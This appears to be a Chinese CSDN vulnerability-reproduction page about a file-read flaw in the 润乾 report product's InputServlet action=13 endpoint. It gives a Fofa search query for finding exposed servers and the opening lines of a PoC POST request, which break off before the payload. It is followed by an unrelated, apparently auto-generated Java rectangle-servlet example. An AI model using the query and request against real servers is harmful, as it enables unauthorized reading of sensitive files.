【漏洞复现】润乾报表InputServlet13文件读取漏洞

146 篇文章 1 订阅

已下架不支持订阅

本文介绍了润乾报表InputServlet13存在的文件读取漏洞,该漏洞可能导致攻击者获取服务器敏感信息。文章详细讲解了漏洞描述,包括润乾报表产品特性,以及漏洞利用的搜索语法和复现过程。
摘要由CSDN通过智能技术生成

漏洞描述:

润乾报表是一款功能全面且性能卓越的报表产品。它专注于企业级BI产品的研发和推广,通过提供丰富的报表功能和高效的开发工具,帮助用户提升图表的开发效率,节省成本。

润乾报表InputServlet13接口存在文件读取漏洞,攻击者可利用漏洞读取服务器的敏感信息。

搜索语法:

Fofa-Query: body="润乾报表"

漏洞详情:

1.润乾报表产品。

2.漏洞POC:

POST /InputServlet?action=13 HTTP/1.1
Host: {
  {Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Length: 79
Connection
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

已下架不支持订阅

好的,以下是具体的代码实现: 1. 创建一个名为 Rectangle 的 JavaBean 类,用于计算矩形的周长和面积。 ```java public class Rectangle { private double length; private double width; public Rectangle() {} public Rectangle(double length, double width) { this.length = length; this.width = width; } public double getLength() { return length; } public void setLength(double length) { this.length = length; } public double getWidth() { return width; } public void setWidth(double width) { this.width = width; } public double getArea() { return length * width; } public double getPerimeter() { return 2 * (length + width); } } ``` 2. 创建一个名为 InputServletServlet 类,用于接收用户输入的矩形长和宽,并将其传递给 Rectangle 类进行计算。 ```java import java.io.IOException; import javax.servlet.ServletException; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; public class InputServlet extends HttpServlet { private static final long serialVersionUID = 1L; public InputServlet() { super(); } protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { doPost(request, response); } protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { double length = Double.parseDouble(request.getParameter("length")); double width = Double.parseDouble(request.getParameter("width")); Rectangle rect = new Rectangle(length, width); request.setAttribute("rect", rect); request.getRequestDispatcher("/output.jsp").forward(request, response); } } ``` 3. 创建一个名为 output.jsp 的 JSP 页面,用于显示计算出的矩形周长和面积。 ```jsp <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>矩形周长和面积</title> </head> <body> <h1>矩形周长和面积</h1> <hr> <p>长:${rect.length}</p> <p>宽:${rect.width}</p> <p>面积:${rect.area}</p> <p>周长:${rect.perimeter}</p> </body> </html> ``` 4. 在 web.xml 文件中配置 InputServlet 类的映射。 ```xml <web-app> <servlet> <servlet-name>InputServlet</servlet-name> <servlet-class>InputServlet</servlet-class> </servlet> <servlet-mapping> <servlet-name>InputServlet</servlet-name> <url-pattern>/input</url-pattern> </servlet-mapping> </web-app> ``` 这样,当用户在输入页面上输入矩形的长和宽并提交后,就会显示出矩形的周长和面积。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值